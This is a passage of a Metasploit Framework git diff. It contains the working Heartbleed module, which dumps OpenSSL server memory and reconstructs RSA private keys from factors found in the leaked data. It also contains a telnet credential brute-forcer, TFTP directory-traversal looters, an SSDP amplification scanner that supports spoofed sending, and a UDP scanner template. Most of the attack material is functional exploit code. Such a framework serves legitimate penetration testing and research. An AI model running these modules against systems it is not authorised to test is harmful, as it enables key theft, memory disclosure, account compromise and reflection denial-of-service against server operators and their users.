[false, 'Pattern to filter leaked memory before storing', nil]), + OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]) + ], self.class) + + register_advanced_options( + [ + OptInt.new('HEARTBEAT_LENGTH', [true, 'Heartbeat length', 65535]), + OptString.new('XMPPDOMAIN', [true, 'The XMPP Domain to use when Jabber is selected', 'localhost']) + ], self.class) + + end + + def peer + "#{rhost}:#{rport}" + end + + # + # Main methods + # + + # Called when using check + def check_host(ip) + @check_only = true + vprint_status "#{peer} - Checking for Heartbleed exposure" + if bleed + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + end + + # Main method + def run + if heartbeat_length > 65535 || heartbeat_length < 0 + print_error('HEARTBEAT_LENGTH should be a natural number less than 65536') + return + end + + if response_timeout < 0 + print_error('RESPONSE_TIMEOUT should be bigger than 0') + return + end + + super + end + + # Main method + def run_host(ip) + # initial connect to get public key and stuff + connect_result = establish_connect + disconnect + return if connect_result.nil? + + case action.name + when 'SCAN' + loot_and_report(bleed) + when 'DUMP' + loot_and_report(bleed) # Scan & Dump are similar, scan() records results + when 'KEYS' + getkeys + else + #Shouldn't get here, since Action is Enum + print_error("Unknown Action: #{action.name}") + end + + # ensure all connections are closed + disconnect + end + + # + # DATASTORE values + # + + # If this is merely a check, set to the RFC-defined + # maximum padding length of 2^14. See: + # https://tools.ietf.org/html/rfc6520#section-4 + # https://github.com/rapid7/metasploit-framework/pull/3252 + def heartbeat_length + if @check_only + SAFE_CHECK_MAX_RECORD_LENGTH + else + datastore['HEARTBEAT_LENGTH'] + end + end + + def response_timeout + datastore['RESPONSE_TIMEOUT'] + end + + def tls_version + datastore['TLS_VERSION'] + end + + def dumpfilter + datastore['DUMPFILTER'] + end + + def max_keytries + datastore['MAX_KEYTRIES'] + end + + def xmpp_domain + datastore['XMPPDOMAIN'] + end + + def status_every + datastore['STATUS_EVERY'] + end + + def tls_callback + datastore['TLS_CALLBACK'] + end + + # + # TLS Callbacks + # + + def tls_smtp + # https://tools.ietf.org/html/rfc3207 + get_data + sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n") + res = get_data + + unless res && res =~ /STARTTLS/ + return nil + end + sock.put("STARTTLS\r\n") + get_data + end + + def tls_imap + # http://tools.ietf.org/html/rfc2595 + get_data + sock.put("a001 CAPABILITY\r\n") + res = get_data + unless res && res =~ /STARTTLS/i + return nil + end + sock.put("a002 STARTTLS\r\n") + get_data + end + + def tls_postgres + # postgresql TLS - works with all modern pgsql versions - 8.0 - 9.3 + # http://www.postgresql.org/docs/9.3/static/protocol-message-formats.html + get_data + # the postgres SSLRequest packet is a int32(8) followed by a int16(1234), + # int16(5679) in network format + psql_sslrequest = [8].pack('N') + psql_sslrequest << [1234, 5679].pack('n*') + sock.put(psql_sslrequest) + res = get_data + unless res && res =~ /S/ + return nil + end + res + end + + def tls_pop3 + # http://tools.ietf.org/html/rfc2595 + get_data + sock.put("CAPA\r\n") + res = get_data + if res.nil? || res =~ /^-/ || res !~ /STLS/ + return nil + end + sock.put("STLS\r\n") + res = get_data + if res.nil? || res =~ /^-/ + return nil + end + res + end + + def jabber_connect_msg(hostname) + # http://xmpp.org/extensions/xep-0035.html + msg = "" + end + + def tls_jabber + sock.put(jabber_connect_msg(xmpp_domain)) + res = get_data + if res && res.include?('host-unknown') + jabber_host = res.match(/ from='([\w.]*)' /) + if jabber_host && jabber_host[1] + disconnect + establish_connect + vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...") + sock.put(jabber_connect_msg(jabber_host[1])) + res = get_data + end + end + if res.nil? || res.include?('stream:error') || res !~ / rhost, + :port => rport, + :name => self.name, + :refs => self.references, + :info => "Module #{self.fullname} successfully leaked info" + }) + + if action.name == 'DUMP' # Check mode, dump if requested. + pattern = dumpfilter + if pattern + match_data = heartbeat_data.scan(pattern).join + else + match_data = heartbeat_data + end + path = store_loot( + 'openssl.heartbleed.server', + 'application/octet-stream', + rhost, + match_data, + nil, + 'OpenSSL Heartbleed server memory' + ) + print_status("#{peer} - Heartbeat data stored in #{path}") + end + + vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}") + + end + + # + # Keydumoing helper methods + # + + # Tries to retreive the private key + def getkeys + print_status("#{peer} - Scanning for private keys") + count = 0 + + print_status("#{peer} - Getting public key constants...") + n, e = get_ne + + if n.nil? || e.nil? + print_error("#{peer} - Failed to get public key, aborting.") + end + + vprint_status("#{peer} - n: #{n}") + vprint_status("#{peer} - e: #{e}") + print_status("#{peer} - #{Time.now.getutc} - Starting.") + + max_keytries.times { + # Loop up to MAX_KEYTRIES times, looking for keys + if count % status_every == 0 + print_status("#{peer} - #{Time.now.getutc} - Attempt #{count}...") + end + + bleedresult = bleed + return unless bleedresult + + p, q = get_factors(bleedresult, n) # Try to find factors in mem + + unless p.nil? || q.nil? + key = key_from_pqe(p, q, e) + print_good("#{peer} - #{Time.now.getutc} - Got the private key") + + print_status(key.export) + path = store_loot( + 'openssl.heartbleed.server', + 'text/plain', + rhost, + key.export, + nil, + 'OpenSSL Heartbleed Private Key' + ) + print_status("#{peer} - Private key stored in #{path}") + return + end + count += 1 + } + print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES and/or HEARTBEAT_LENGTH.") + end + + # Returns the N and E params from the public server certificate + def get_ne + unless @cert + print_error("#{peer} - No certificate found") + return + end + + return @cert.public_key.params['n'], @cert.public_key.params['e'] + end + + # Tries to find pieces of the private key in the provided data + def get_factors(data, n) + # Walk through data looking for factors of n + psize = n.num_bits / 8 / 2 + return if data.nil? + + (0..(data.length-psize)).each{ |x| + # Try each offset of suitable length + can = OpenSSL::BN.new(data[x,psize].reverse.bytes.inject {|a,b| (a << 8) + b }.to_s) + if can > 1 && can % 2 != 0 && can.num_bytes == psize + # Only try candidates that have a chance... + q, rem = n / can + if rem == 0 && can != n + vprint_good("#{peer} - Found factor at offset #{x.to_s(16)}") + p = can + return p, q + end + end + } + return nil, nil + end + + # Generates the private key from the P, Q and E values + def key_from_pqe(p, q, e) + # Returns an RSA Private Key from Factors + key = OpenSSL::PKey::RSA.new() + + key.p = p + key.q = q + + key.n = key.p*key.q + key.e = e + + phi = (key.p - 1) * (key.q - 1 ) + key.d = key.e.mod_inverse(phi) + + key.dmp1 = key.d % (key.p - 1) + key.dmq1 = key.d % (key.q - 1) + key.iqmp = key.q.mod_inverse(key.p) + + return key + end + + # + # SSL/TLS packet methods + # + + # Creates and returns a new SSL record with the provided data + def ssl_record(type, data) + record = [type, TLS_VERSION[tls_version], data.length].pack('Cnn') + record << data + end + + # generates a CLIENT_HELLO ssl/tls packet + def client_hello + # Use current day for TLS time + time_temp = Time.now + time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i + + hello_data = [TLS_VERSION[tls_version]].pack('n') # Version TLS + hello_data << [time_epoch].pack('N') # Time in epoch format + hello_data << Rex::Text.rand_text(28) # Random + hello_data << "\x00" # Session ID length + hello_data << [CIPHER_SUITES.length * 2].pack('n') # Cipher Suites length (102) + hello_data << CIPHER_SUITES.pack('n*') # Cipher Suites + hello_data << "\x01" # Compression methods length (1) + hello_data << "\x00" # Compression methods: null + + hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat) + hello_data_extensions << "\x00\x01" # Extension length + hello_data_extensions << "\x01" # Extension data + + hello_data << [hello_data_extensions.length].pack('n') + hello_data << hello_data_extensions + + data = "\x01\x00" # Handshake Type: Client Hello (1) + data << [hello_data.length].pack('n') # Length + data << hello_data + + ssl_record(HANDSHAKE_RECORD_TYPE, data) + end + + # Parse SSL header + def parse_ssl_record(data) + ssl_records = [] + remaining_data = data + ssl_record_counter = 0 + while remaining_data && remaining_data.length > 0 + ssl_record_counter += 1 + ssl_unpacked = remaining_data.unpack('CH4n') + return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3 + ssl_type = ssl_unpacked[0] + ssl_version = ssl_unpacked[1] + ssl_len = ssl_unpacked[2] + vprint_debug("SSL record ##{ssl_record_counter}:") + vprint_debug("\tType: #{ssl_type}") + vprint_debug("\tVersion: 0x#{ssl_version}") + vprint_debug("\tLength: #{ssl_len}") + if ssl_type != HANDSHAKE_RECORD_TYPE + vprint_debug("\tWrong Record Type! (#{ssl_type})") + else + ssl_data = remaining_data[5, ssl_len] + handshakes = parse_handshakes(ssl_data) + ssl_records << { + :type => ssl_type, + :version => ssl_version, + :length => ssl_len, + :data => handshakes + } + end + remaining_data = remaining_data[(ssl_len + 5)..-1] + end + + ssl_records + end + + # Parse Handshake data returned from servers + def parse_handshakes(data) + # Can contain multiple handshakes + remaining_data = data + handshakes = [] + handshake_count = 0 + while remaining_data && remaining_data.length > 0 + hs_unpacked = remaining_data.unpack('CCn') + next if hs_unpacked.nil? or hs_unpacked.length < 3 + hs_type = hs_unpacked[0] + hs_len_pad = hs_unpacked[1] + hs_len = hs_unpacked[2] + hs_data = remaining_data[4, hs_len] + handshake_count += 1 + vprint_debug("\tHandshake ##{handshake_count}:") + vprint_debug("\t\tLength: #{hs_len}") + + handshake_parsed = nil + case hs_type + when HANDSHAKE_SERVER_HELLO_TYPE + vprint_debug("\t\tType: Server Hello (#{hs_type})") + handshake_parsed = parse_server_hello(hs_data) + when HANDSHAKE_CERTIFICATE_TYPE + vprint_debug("\t\tType: Certificate Data (#{hs_type})") + handshake_parsed = parse_certificate_data(hs_data) + when HANDSHAKE_KEY_EXCHANGE_TYPE + vprint_debug("\t\tType: Server Key Exchange (#{hs_type})") + # handshake_parsed = parse_server_key_exchange(hs_data) + when HANDSHAKE_SERVER_HELLO_DONE_TYPE + vprint_debug("\t\tType: Server Hello Done (#{hs_type})") + else + vprint_debug("\t\tType: Handshake type #{hs_type} not implemented") + end + + handshakes << { + :type => hs_type, + :len => hs_len, + :data => handshake_parsed + } + remaining_data = remaining_data[(hs_len + 4)..-1] + end + + handshakes + end + + # Parse Server Hello message + def parse_server_hello(data) + version = data.unpack('H4')[0] + vprint_debug("\t\tServer Hello Version: 0x#{version}") + random = data[2,32].unpack('H*')[0] + vprint_debug("\t\tServer Hello random data: #{random}") + session_id_length = data[34,1].unpack('C')[0] + vprint_debug("\t\tServer Hello Session ID length: #{session_id_length}") + session_id = data[35,session_id_length].unpack('H*')[0] + vprint_debug("\t\tServer Hello Session ID: #{session_id}") + # TODO Read the rest of the server hello (respect message length) + + # TODO: return hash with data + true + end + + # Parse certificate data + def parse_certificate_data(data) + # get certificate data length + unpacked = data.unpack('Cn') + cert_len_padding = unpacked[0] + cert_len = unpacked[1] + vprint_debug("\t\tCertificates length: #{cert_len}") + vprint_debug("\t\tData length: #{data.length}") + # contains multiple certs + already_read = 3 + cert_counter = 0 + while already_read < cert_len + cert_counter += 1 + # get single certificate length + single_cert_unpacked = data[already_read, 3].unpack('Cn') + single_cert_len_padding = single_cert_unpacked[0] + single_cert_len = single_cert_unpacked[1] + vprint_debug("\t\tCertificate ##{cert_counter}:") + vprint_debug("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}") + certificate_data = data[(already_read + 3), single_cert_len] + cert = OpenSSL::X509::Certificate.new(certificate_data) + # First received certificate is the one from the server + @cert = cert if @cert.nil? + #vprint_debug("Got certificate: #{cert.to_text}") + vprint_debug("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}") + already_read = already_read + single_cert_len + 3 + end + + # TODO: return hash with data + true + end + +end diff --git a/modules/auxiliary/scanner/telephony/wardial.rb b/modules/auxiliary/scanner/telephony/wardial.rb index fbfc654531..18cd6912cc 100644 --- a/modules/auxiliary/scanner/telephony/wardial.rb +++ b/modules/auxiliary/scanner/telephony/wardial.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb index ecb9540cc8..627123561f 100644 --- a/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb +++ b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb b/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb index b7b0087315..b6af840661 100644 --- a/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb +++ b/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb b/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb index 328a5694ef..b39ea216aa 100644 --- a/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb +++ b/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index 9a86ba1370..069e3f44dc 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -1,9 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/telnet' class Metasploit3 < Msf::Auxiliary @@ -24,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary logins and hosts so you can track your access. }, 'Author' => 'egypt', - 'References' => + 'References' => [ [ 'CVE', '1999-0502'] # Weak password ], @@ -33,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST') register_advanced_options( [ - OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections. The greatest value of TelnetTimeout, TelnetBannerTimeout, or this option will be used as an overall timeout.', 0]) + OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections.', 25]) ], self.class ) @@ -44,190 +46,54 @@ class Metasploit3 < Msf::Auxiliary attr_accessor :password_only def run_host(ip) - overall_timeout ||= [ - datastore['TIMEOUT'].to_i, - datastore['TelnetBannerTimeout'].to_i, - datastore['TelnetTimeout'].to_i - ].max - - # Check for a password-only prompt for this machine. - self.password_only = [] - if connect_reset_safe == :connected - @strip_usernames = true if password_prompt? - self.sock.close - end - - begin - each_user_pass do |user, pass| - Timeout.timeout(overall_timeout) do - res = try_user_pass(user, pass) - start_telnet_session(rhost,rport,user,pass) if res == :next_user - end - end - rescue ::Rex::ConnectionError, ::EOFError, ::Timeout::Error - return - end - end - - def try_user_pass(user, pass) - vprint_status "#{rhost}:#{rport} Telnet - Attempting: '#{user}':'#{pass}'" - this_attempt ||= 0 - ret = nil - while this_attempt <=3 and (ret.nil? or ret == :refused) - if this_attempt > 0 - select(nil,nil,nil,2**this_attempt) - vprint_error "#{rhost}:#{rport} Telnet - Retrying '#{user}':'#{pass}' due to reset" - end - ret = do_login(user,pass) - this_attempt += 1 - end - case ret - when :no_auth_required - print_good "#{rhost}:#{rport} Telnet - No authentication required!" - report_telnet('','',@trace) - return :abort - when :no_pass_prompt - vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}' due to missing password prompt" - return :skip_user - when :timeout - vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to timeout" - when :busy - vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to busy state" - when :refused - vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to connection refused." - when :skip_user - vprint_status "#{rhost}:#{rport} Telnet - Skipping disallowed user '#{user}' for subsequent requests" - return :skip_user - when :success - unless user == user.downcase - case_ret = do_login(user.downcase,pass) - if case_ret == :success - user= user.downcase - print_status("Username #{user} is case insensitive") - end - end - report_telnet(user,pass,@trace) - return :next_user - end - end - - # Sometimes telnet servers start RSTing if you get them angry. - # This is a short term fix; the problem is that we don't know - # if it's going to reset forever, or just this time, or randomly. - # A better solution is to get the socket connect to try again - # with a little backoff. - def connect_reset_safe - begin - connect - rescue Rex::ConnectionRefused - return :refused - end - return :connected - end - - # Making this serial since the @attempts counting business is causing - # all kinds of syncing problems. - def do_login(user,pass) - - return :refused if connect_reset_safe == :refused - - begin - - vprint_status("#{rhost}:#{rport} Banner: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - - if busy_message? - self.sock.close unless self.sock.closed? - return :busy - end - - if login_succeeded? - return :no_auth_required - end - - # Immediate password prompt... try our password! - if password_prompt? - user = '' - - if password_only.include?(pass) - print_status("#{rhost}:#{rport} - Telnet - skipping already tried password '#{pass}'") - return :tried - end - - print_status("#{rhost}:#{rport} - Telnet - trying password only authentication with password '#{pass}'") - password_only << pass - else - send_user(user) - end - - recvd_sample = @recvd.dup - # Allow for slow echos - 1.upto(10) do - recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/] - end - - vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - - if password_prompt?(user) - send_pass(pass) - - # Allow for slow echos - 1.upto(10) do - recv_telnet(self.sock, 0.10) if @recvd == recvd_sample - end - - - vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - - if login_succeeded? - return :success - else - self.sock.close unless self.sock.closed? - if @recvd =~ /Not on system console/ # Solaris8, user is not allowed - return :skip_user - else - return :fail - end - end - else - if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/ - report_telnet(user,pass,@trace) - return :no_pass_required - else - self.sock.close unless self.sock.closed? - return :no_pass_prompt - end - end - - rescue ::Interrupt - self.sock.close unless self.sock.closed? - raise $! - rescue ::Exception => e - if e.to_s == "execution expired" - self.sock.close unless self.sock.closed? - return :timeout - else - self.sock.close unless self.sock.closed? - print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}") - end - end - - end - - def report_telnet(user, pass, proof) - print_good("#{rhost} - SUCCESSFUL LOGIN #{user} : #{pass}") - report_auth_info( - :host => rhost, - :port => datastore['RPORT'], - :sname => 'telnet', - :user => user, - :pass => pass, - :proof => proof, - :source_type => "user_supplied", - :active => true + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::Telnet.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: datastore['Timeout'], + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + banner_timeout: datastore['TelnetBannerTimeout'], + telnet_timeout: datastore['TelnetTimeout'], + framework: framework, + framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner) + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end end - def start_telnet_session(host, port, user, pass) + def start_telnet_session(host, port, user, pass, scanner) print_status "Attempting to start session #{host}:#{port} with #{user}:#{pass}" merge_me = { 'USERPASS_FILE' => nil, @@ -237,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary 'PASSWORD' => pass } - start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true) + start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock) end end diff --git a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb index ecab7ae11e..29eb4d13db 100644 --- a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb +++ b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/telnet/telnet_version.rb b/modules/auxiliary/scanner/telnet/telnet_version.rb index 8cd04297a0..644a178b89 100644 --- a/modules/auxiliary/scanner/telnet/telnet_version.rb +++ b/modules/auxiliary/scanner/telnet/telnet_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb index adc48e48aa..17240bdcf3 100644 --- a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb +++ b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -29,7 +29,8 @@ class Metasploit3 < Msf::Auxiliary ['OSVDB', '77455'], ['BID', '50890'], ['EDB', '18189'], - ['URL', 'http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt'] + ['URL', 'http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt'], + ['CVE', '2011-4722'] ], 'DisclosureDate' => "Dec 12 2011" )) @@ -37,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(69), - OptString.new('FILENAME', [false, 'The file to loot', 'boot.ini']), + OptString.new('FILENAME', [false, 'The file to loot', 'windows\\win.ini']), OptBool.new('SAVE', [false, 'Save the downloaded file to disk', 'false']) ], self.class) end diff --git a/modules/auxiliary/scanner/tftp/netdecision_tftp.rb b/modules/auxiliary/scanner/tftp/netdecision_tftp.rb index 7e49286315..fd8c131316 100644 --- a/modules/auxiliary/scanner/tftp/netdecision_tftp.rb +++ b/modules/auxiliary/scanner/tftp/netdecision_tftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(69), OptInt.new('DEPTH', [false, "Levels to reach base directory",1]), - OptString.new('FILENAME', [false, 'The file to loot', 'boot.ini']), + OptString.new('FILENAME', [false, 'The file to loot', 'windows\\win.ini']), ], self.class) end diff --git a/modules/auxiliary/scanner/tftp/tftpbrute.rb b/modules/auxiliary/scanner/tftp/tftpbrute.rb index 3c19ff86c7..29935dc352 100644 --- a/modules/auxiliary/scanner/tftp/tftpbrute.rb +++ b/modules/auxiliary/scanner/tftp/tftpbrute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Auxiliary filename.strip! pkt = "\x00\x01" + filename + "\x00" + "netascii" + "\x00" udp_sock.sendto(pkt, ip, datastore['RPORT']) - resp = udp_sock.get(1) + resp = udp_sock.get(3) if resp and resp.length >= 2 and resp[0, 2] == "\x00\x03" print_status("Found #{filename} on #{ip}") #Add Report diff --git a/modules/auxiliary/scanner/udp_scanner_template.rb b/modules/auxiliary/scanner/udp_scanner_template.rb new file mode 100644 index 0000000000..065e5f351b --- /dev/null +++ b/modules/auxiliary/scanner/udp_scanner_template.rb @@ -0,0 +1,123 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::UDPScanner + + def initialize(info = {}) + super( + update_info( + info, + # TODO: fill in all of this + 'Name' => 'UDP Scanner Example', + 'Description' => %q( + This module is an example of how to send probes to UDP services + en-masse, analyze any responses, and then report on any discovered + hosts, services, vulnerabilities or otherwise noteworthy things. + Simply address any of the TODOs. + ), + 'Author' => 'Joe Contributor ', + 'References' => + [ + ['URL', 'https://example.com/~jcontributor'] + ], + 'DisclosureDate' => 'Mar 15 2014', + 'License' => MSF_LICENSE + ) + ) + + register_options( + [ + # TODO: change to the port you need to scan + Opt::RPORT(12345) + ], self.class) + + # TODO: add any advanced, special options here, otherwise remove + register_advanced_options( + [ + OptBool.new('SPECIAL', [true, 'Try this special thing', false]) + ], self.class) + end + + def setup + super + # TODO: do any sort of preliminary sanity checking, like perhaps validating some options + # in the datastore, etc. + end + + # TODO: construct the appropriate probe here. + def build_probe + @probe ||= 'abracadabra!' + end + + # TODO: this is called before the scan block for each batch of hosts. Do any + # per-batch setup here, otherwise remove it. + def scanner_prescan(batch) + super + end + + # TODO: this is called for each IP in the batch. This will send all of the + # necessary probes. If something different must be done for each IP, do it + # here, otherwise remove it. + def scan_host(ip) + super + end + + # Called for each response packet + def scanner_process(response, src_host, _src_port) + # TODO: inspect each response, perhaps confirming that it is a valid + # response for the service/protocol in question and/or analyzing it more + # closely. In this case, we simply check to see that it is of reasonable + # size and storing a result for this host iff so. Note that src_port may + # not actually be the same as the original RPORT for some services if they + # respond back from different ports + return unless response.size >= 42 + @results[src_host] ||= [] + + # TODO: store something about this response, perhaps the response itself, + # some metadata obtained by analyzing it, the proof that it is vulnerable + # to something, etc. In this example, we simply look for any response + # with a sequence of 5 useful ASCII characters and, iff found, we store + # that sequence + /(?[\x20-\x7E]{5})/ =~ response && @results[src_host] << relevant + end + + # Called after the scan block + def scanner_postscan(_batch) + @results.each_pair do |host, relevant_responses| + peer = "#{host}:#{rport}" + + # report on the host + report_host(host: host) + + # report on the service, since it responded + report_service( + host: host, + proto: 'udp', + port: rport, + name: 'example', + # show at most 4 relevant responses + info: relevant_responses[0, 4].join(',') + ) + + if relevant_responses.empty? + vprint_status("#{peer} Not vulnerable to something") + else + print_good("#{peer} Vulnerable to something!") + report_vuln( + host: host, + port: rport, + proto: 'udp', + name: 'something!', + info: "Got #{relevant_responses.size} response(s)", + refs: references + ) + end + end + end +end diff --git a/modules/auxiliary/scanner/upnp/ssdp_amp.rb b/modules/auxiliary/scanner/upnp/ssdp_amp.rb new file mode 100644 index 0000000000..5d2217308d --- /dev/null +++ b/modules/auxiliary/scanner/upnp/ssdp_amp.rb @@ -0,0 +1,94 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Capture + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::DRDoS + + def initialize + super( + 'Name' => 'SSDP ssdp:all M-SEARCH Amplification Scanner', + 'Description' => 'Discover SSDP amplification possibilities', + 'Author' => ['xistence '], # Original scanner module + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-017A'] + ], + ) + + register_options([ + Opt::RPORT(1900), + OptBool.new('SHORT', [ false, "Does a shorter request, for a higher amplifier, not compatible with all devices", false]) + ], self.class) + end + + def setup + super + # SSDP packet containing the "ST:ssdp:all" search query + if datastore['short'] + # Short packet doesn't contain Host, MX and last \r\n + @msearch_probe = "M-SEARCH * HTTP/1.1\r\nST: ssdp:all\r\nMan: \"ssdp:discover\"\r\n" + else + @msearch_probe = "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255.250:1900\r\nST: ssdp:all\r\nMan: \"ssdp:discover\"\r\nMX: 1\r\n\r\n" + end + end + + def scanner_prescan(batch) + print_status("Sending SSDP ssdp:all M-SEARCH probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + @results = {} + end + + def scan_host(ip) + if spoofed? + datastore['ScannerRecvWindow'] = 0 + scanner_spoof_send(@msearch_probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) + else + scanner_send(@msearch_probe, ip, datastore['RPORT']) + end + end + + def scanner_process(data, shost, sport) + if data =~ /HTTP\/\d\.\d 200/ + @results[shost] ||= [] + @results[shost] << data + else + vprint_error("Skipping #{data.size}-byte non-SSDP response from #{shost}:#{sport}") + end + end + + # Called after the scan block + def scanner_postscan(batch) + @results.keys.each do |k| + response_map = { @msearch_probe => @results[k] } + report_service( + host: k, + proto: 'udp', + port: datastore['RPORT'], + name: 'ssdp' + ) + + peer = "#{k}:#{datastore['RPORT']}" + vulnerable, proof = prove_amplification(response_map) + what = 'SSDP ssdp:all M-SEARCH amplification' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln( + host: k, + port: 